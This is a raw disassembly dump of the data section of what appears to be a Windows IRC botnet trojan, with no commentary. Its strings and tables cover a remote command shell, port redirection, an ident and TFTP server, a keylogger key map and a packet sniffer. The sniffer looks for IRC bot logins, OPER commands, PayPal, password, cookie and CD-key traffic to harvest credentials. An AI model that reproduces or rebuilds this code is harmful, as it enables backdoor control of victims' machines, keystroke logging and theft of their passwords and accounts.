		unicode	0, <.>,0
aPm_0		db 'PM',0               ; DATA XREF: sub_410423+28Ao
		align 10h
aAm		db 'AM',0               ; DATA XREF: sub_410423+295o
		align 4
; char a2_2d2_2d4d2_2d[]
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_410423+2BFo
; char aS_27[]
aS_27		db '<%s>',0             ; DATA XREF: sub_410423+2E9o
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_410423+310o
		align 4
; char aTrTdWidthDAHre[]
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410423+328o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
; char aSS_5[]
aSS_5		db '%s%s/',0            ; DATA XREF: sub_410423+36Co
		align 10h
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_410423+3B3o
		align 10h
; char aCodeSCodeA[]
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_410423:loc_4107DDo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_410423+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
; char aS_28[]
aS_28		db '<%s>',0             ; DATA XREF: sub_410423+40Bo
		align 4
; char a31s21s[]
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_410423+42Fo
		align 4
; char aPrivmsgS31s2_0[]
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_410423+46Eo
		align 10h
; char aTrTdWidthDAH_0[]
aTrTdWidthDAH_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410423+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
; char aSS_6[]
aSS_6		db '%s%s',0             ; DATA XREF: sub_410423+4DAo
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_410423+521o
		align 4
; char aCodeSCodeA_0[]
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_410423:loc_41094Bo
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_410423+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
; char a31s21sIBytes[]
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_410423+58Do
		align 4
; char aPrivmsgSFoundS[]
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_410423+61Co
		align 4
; char aTrTdColspan3_0[]
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_410423+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
; char aFoundIFilesAnd[]
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_410423+652o
		align 4
; char aSSHttp1_1Refer[]
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410B94+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
; char asc_44BF7C[]
asc_44BF7C	db '-'                  ; DATA XREF: sub_410CB5+BBo
		db 3, 34h, 2
		dd 6E656469h, 3026474h
aClientConnecti	db '- client connection from %s:%d.',0
; char aUseridUnixS[]
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410CB5+116o
; char asc_44BFC0[]
asc_44BFC0	db '-'                  ; DATA XREF: sub_410CB5+171o
		db 3, 34h, 2
		dd 6E656469h, 3026474h
aServerFailed_0	db '- server failed, returned %d',0
		align 4
; char asc_44BFEC[]
asc_44BFEC	db '-'                  ; DATA XREF: sub_410E63+E9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
; char asc_44C034[]
asc_44C034	db '-'                  ; DATA XREF: sub_410E63+15Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_40	db 'Failed to start client thread, error: <%d>.',0
; char asc_44C070[]
asc_44C070	db '-'                  ; DATA XREF: sub_410FF4+E1o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
; char asc_44C0B4[]
asc_44C0B4	db '-'                  ; DATA XREF: sub_410FF4+1AAo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_41	db 'Failed to start connection thread, error: <%d>.',0
; char asc_44C0F4[]
asc_44C0F4	db '-'                  ; DATA XREF: sub_411278+E1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_411278+172o
		align 4
; char asc_44C134[]
asc_44C134	db '-'                  ; DATA XREF: sub_411278+1A2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
; char asc_44C15C[]
asc_44C15C	db '-'                  ; DATA XREF: sub_411278+1C2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
; char asc_44C188[]
asc_44C188	db '-'                  ; DATA XREF: sub_411278+1E9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
; char asc_44C1B4[]
asc_44C1B4	db '-'                  ; DATA XREF: sub_41147D:loc_4114C2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 10h
; char dword_44C1E0[]
dword_44C1E0	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_4114D7+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aLoginRejectedR	db '- Login rejected, Remote user: <%s@%s>.',0
		align 10h
; char asc_44C250[]
asc_44C250	db '-'                  ; DATA XREF: sub_411506+3Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
; char asc_44C27C[]
asc_44C27C	db '-'                  ; DATA XREF: sub_411506+70o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToInstal	db '- Failed to install control-C handler, error: <%d>.',0
		align 10h
unk_44C2C0	db  2Dh	; -		; DATA XREF: sub_411506+106o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aReadyAndWaitin	db '- Ready and waiting for incoming connections.',0
		align 4
; char asc_44C2FC[]
asc_44C2FC	db '-'                  ; DATA XREF: sub_411506+177o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
; char asc_44C340[]
asc_44C340	db '-'                  ; DATA XREF: sub_411506+1FBo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_42	db '- Failed to start client thread, error: <%d>.',0
		align 4
; char asc_44C37C[]
asc_44C37C	db '-'                  ; DATA XREF: sub_411506+219o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorServerFai	db '- Error: server failed, returned: <%d>.',0
		align 4
; char asc_44C3B4[]
asc_44C3B4	db '-'                  ; DATA XREF: sub_41178E+59o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
; char asc_44C3FC[]
asc_44C3FC	db '-'                  ; DATA XREF: sub_41178E+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
; char asc_44C444[]
asc_44C444	db '-'                  ; DATA XREF: sub_41178E+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_44C478	db  2Dh	; -		; DATA XREF: sub_4118DF+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
; char asc_44C4B8[]
asc_44C4B8	db '-'                  ; DATA XREF: sub_4118DF+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_2	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_44C4F8	db  2Dh	; -		; DATA XREF: sub_4118DF+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_4119D8+8Co
		align 4
; char asc_44C528[]
asc_44C528	db '-'                  ; DATA XREF: sub_4119D8+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 10h
; char asc_44C560[]
asc_44C560	db '-'                  ; DATA XREF: sub_411AB1+A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
; char asc_44C59C[]
asc_44C59C	db '-'                  ; DATA XREF: sub_411C86+A8o
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aServerStarte_5	db '- Server started on: %s:%d.',0
; char asc_44C5C4[]
asc_44C5C4	db '-'                  ; DATA XREF: sub_411C86+114o
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aClientConnec_3	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
; char asc_44C608[]
asc_44C608	db '-'                  ; DATA XREF: sub_411C86+18Fo
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aFailedToSta_43	db '- Failed to start client thread, error: <%d>.',0
		align 4
; char asc_44C644[]
asc_44C644	db '-'                  ; DATA XREF: sub_411C86+1B2o
		db 3, 34h, 2
		dd 6B636F73h, 3023473h
aFailedToSta_44	db '- Failed to start server on Port %d.',0
		align 4
; char dword_44C678[]
dword_44C678	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411E8B+F2o
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
; char dword_44C6B8[]
dword_44C6B8	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411E8B+18Ao
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
; char dword_44C6F8[]
dword_44C6F8	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411E8B+1F9o
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
aOctet		db 'octet',0
		align 4
; char aRb_0[]
aRb_0		db 'rb',0               ; DATA XREF: sub_41224F+130o
		align 4
; char aTftpTransferSt[]
aTftpTransferSt	db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_41224F+2CDo
		align 4
; char aTftpTransferCo[]
aTftpTransferCo	db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_41224F+3C4o
		align 4
dword_44C788	dd 4000500h, 7868746Bh,	2 dup(0) ; DATA	XREF: sub_41224F+41Co
		dd 8
dword_44C79C	dd 62h,	62000000h, 2 dup(0) ; DATA XREF: sub_4127AD:loc_412890o
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_44CECC	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4127AD+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
; char asc_44CF04[]
asc_44CF04	db '\',0                ; DATA XREF: sub_4126CC+2Co
		align 4
; char aAb[]
aAb		db 'ab',0               ; DATA XREF: sub_4126CC+4Eo
		align 4
; char aDDDDDDS[]
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4126CC+88o
		align 4
; char asc_44CF28[]
asc_44CF28	db '-'                  ; DATA XREF: sub_4126CC+AEo
		db 3, 34h, 2
		dd 6C79656Bh, 302676Fh,	7325202Dh, 0
; char aSChangedWindow[]
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4127AD+8Fo
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4127AD+1E5o
		align 10h
; char aSReturnS[]
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4127AD+228o
		align 8
off_44CF88	dd offset dword_44D7F0	; DATA XREF: sub_412A8E+2B9r
		dd offset dword_44D7F4
		dd offset dword_44D7F8
		dd offset aHttp_0	; "HTTP"
; char a_login[]
a_login		db ':.login',0          ; DATA XREF: sub_412A8E+1DEo
		dd 3 dup(0)
dword_44CFAC	dd 0			; DATA XREF: sub_412A8E+2B2r
aLogin_3	db ':,login',0
		dd 4 dup(0)
aLogin_4	db ':!login',0
		dd 4 dup(0)
a@login		db ':@login',0
		dd 4 dup(0)
aLogin_5	db ':$login',0
		dd 4 dup(0)
aLogin_6	db ':%login',0
		dd 4 dup(0)
aLogin_7	db ':^login',0
		dd 4 dup(0)
aLogin_8	db ':&login',0
		dd 4 dup(0)
aLogin_9	db ':*login',0
		dd 4 dup(0)
aLogin_10	db ':-login',0
		dd 4 dup(0)
aLogin_11	db ':+login',0
		dd 4 dup(0)
aLogin_12	db ':/login',0
		dd 4 dup(0)
aLogin_13	db ':\login',0
		dd 4 dup(0)
aLogin_14	db ':=login',0
		dd 4 dup(0)
a?login		db ':?login',0
		dd 4 dup(0)
aLogin_15	db ':',27h,'login',0
		dd 4 dup(0)
aLogin_16	db ':`login',0
		dd 4 dup(0)
aLogin_17	db ':~login',0
		dd 4 dup(0)
aLogin_18	db ': login',0
		dd 4 dup(0)
a_auth		db ':.auth',0
		align 4
		dd 4 dup(0)
aAuth		db ':,auth',0
		align 10h
		dd 4 dup(0)
aAuth_0		db ':!auth',0
		align 4
		dd 4 dup(0)
a@auth		db ':@auth',0
		align 10h
		dd 4 dup(0)
aAuth_1		db ':$auth',0
		align 4
		dd 4 dup(0)
aAuth_2		db ':%auth',0
		align 10h
		dd 4 dup(0)
aAuth_3		db ':^auth',0
		align 4
		dd 4 dup(0)
aAuth_4		db ':&auth',0
		align 10h
		dd 4 dup(0)
aAuth_5		db ':*auth',0
		align 4
		dd 4 dup(0)
aAuth_6		db ':-auth',0
		align 10h
		dd 4 dup(0)
aAuth_7		db ':+auth',0
		align 4
		dd 4 dup(0)
aAuth_8		db ':/auth',0
		align 10h
		dd 4 dup(0)
aAuth_9		db ':\auth',0
		align 4
		dd 4 dup(0)
aAuth_10	db ':=auth',0
		align 10h
		dd 4 dup(0)
a?auth		db ':?auth',0
		align 4
		dd 4 dup(0)
aAuth_11	db ':',27h,'auth',0
		align 10h
		dd 4 dup(0)
aAuth_12	db ':`auth',0
		align 4
		dd 4 dup(0)
aAuth_13	db ':~auth',0
		align 10h
		dd 4 dup(0)
aAuth_14	db ': auth',0
		align 4
		dd 4 dup(0)
a_id		db ':.id',0
		align 10h
		dd 4 dup(0)
aId_0		db ':,id',0
		align 4
		dd 4 dup(0)
aId_1		db ':!id',0
		align 10h
		dd 4 dup(0)
a@id		db ':@id',0
		align 4
		dd 4 dup(0)
aId_2		db ':$id',0
		align 10h
		dd 4 dup(0)
aId_3		db ':%id',0
		align 4
		dd 4 dup(0)
aId_4		db ':^id',0
		align 10h
		dd 4 dup(0)
aId_5		db ':&id',0
		align 4
		dd 4 dup(0)
aId_6		db ':*id',0
		align 10h
		dd 4 dup(0)
aId_7		db ':-id',0
		align 4
		dd 4 dup(0)
aId_8		db ':+id',0
		align 10h
		dd 4 dup(0)
aId_9		db ':/id',0
		align 4
		dd 4 dup(0)
aId_10		db ':\id',0
		align 10h
		dd 4 dup(0)
aId_11		db ':=id',0
		align 4
		dd 4 dup(0)
a?id		db ':?id',0
		align 10h
		dd 4 dup(0)
aId_12		db ':',27h,'id',0
		align 4
		dd 4 dup(0)
aId_13		db ':`id',0
		align 10h
		dd 4 dup(0)
aId_14		db ':~id',0
		align 4
		dd 4 dup(0)
aId_15		db ': id',0
		align 10h
		dd 4 dup(0)
a_hashin_0	db ':.hashin',0
		align 4
		dd 3 dup(0)
aHashin_0	db ':!hashin',0
		align 10h
aHashin_1	db ':$hashin',0
		align 4
		dd 3 dup(0)
aHashin_2	db ':%hashin',0
		align 10h
a_secure	db ':.secure',0
		align 4
		dd 3 dup(0)
aSecure_2	db ':!secure',0
		align 10h
a_l		db ':.l',0
		dd 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
a_syn		db ':.syn',0
		align 4
		dd 4 dup(0)
aSyn_2		db ':!syn',0
		align 10h
		dd 4 dup(0)
aSyn_3		db ':$syn',0
		align 4
		dd 4 dup(0)
aSyn_4		db ':%syn',0
		align 10h
		dd 4 dup(0)
aCdkey		db ' CDKey ',0
		dd 4 dup(0)
aJoin_2		db 'JOIN #',0
		align 10h
		dd 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
dword_44D7F0	dd 544F42h		; DATA XREF: .data:off_44CF88o
dword_44D7F4	dd 435249h		; DATA XREF: .data:0044CF8Co
dword_44D7F8	dd 505446h		; DATA XREF: .data:0044CF90o
aHttp_0		db 'HTTP',0             ; DATA XREF: .data:0044CF94o
		align 4
; char asc_44D804[]
asc_44D804	db '-'                  ; DATA XREF: sub_412A8E+85o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
; char asc_44D830[]
asc_44D830	db '-'                  ; DATA XREF: sub_412A8E+103o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
; char asc_44D85C[]
asc_44D85C	db '-'                  ; DATA XREF: sub_412A8E+186o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
; char asc_44D88C[]
asc_44D88C	db '-'                  ; DATA XREF: sub_412A8E+317o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aRecvFailedRetu	db '- recv() failed, returned %d',0
		align 4
; char aPsniff_0[]
aPsniff_0	db '[PSNIFF]',0         ; DATA XREF: sub_412A8E+235o
		align 4
; char asc_44D8C4[]
asc_44D8C4	db '-'                  ; DATA XREF: sub_412A8E+24Co
		db 3, 34h, 2
		dd 696E7370h, 3026666h,	2Dh
; char asc_44D8D4[]
asc_44D8D4	db '-'                  ; DATA XREF: sub_412A8E+2C6o
		db 3, 34h, 2
		dd 696E7370h, 3026666h
aSuspiciousSPac	db '- suspicious %s packet from: %s:%d - %s',0
; char aBotSniff[]
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412E19+5o
		align 4
; char aPsniff_1[]
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412E19+2Bo
		align 10h
; char aPsniff_2[]
aPsniff_2	db 'PSNIFF//',0         ; DATA XREF: sub_412E19+3Co
		align 4
; char aJoin_1[]
aJoin_1		db 'JOIN #',0           ; DATA XREF: sub_412E19+4Do
		align 4
; char a302[]
a302		db '302 ',0             ; DATA XREF: sub_412E19:loc_412E7Bo
		align 4
; char a366[]
a366		db '366 ',0             ; DATA XREF: sub_412E19+73o
		align 4
; char a_login_0[]
a_login_0	db ':.login',0          ; DATA XREF: sub_412E19+84o
; char aLogin_0[]
aLogin_0	db ':!login',0          ; DATA XREF: sub_412E19+95o
; char aLogin_1[]
aLogin_1	db ':!Login',0          ; DATA XREF: sub_412E19+A6o
; char a_login_1[]
a_login_1	db ':.Login',0          ; DATA XREF: sub_412E19+B7o
; char a_ident[]
a_ident		db ':.ident',0          ; DATA XREF: sub_412E19+C8o
; char aIdent_0[]
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412E19+D9o
; char a_hashin[]
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412E19+EEo
		align 10h
; char aHashin[]
aHashin		db ':!hashin',0         ; DATA XREF: sub_412E19+103o
		align 4
; char aIrcSniff[]
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412F30+5o
		align 4
; char aOper[]
aOper		db 'OPER ',0            ; DATA XREF: sub_412F30+2Bo
		align 10h
; char aNick_2[]
aNick_2		db 'NICK ',0            ; DATA XREF: sub_412F30:loc_412F70o
		align 4
; char aOper_0[]
aOper_0		db 'oper ',0            ; DATA XREF: sub_412F30+51o
		align 10h
; char aYouAreNowAnIrc[]
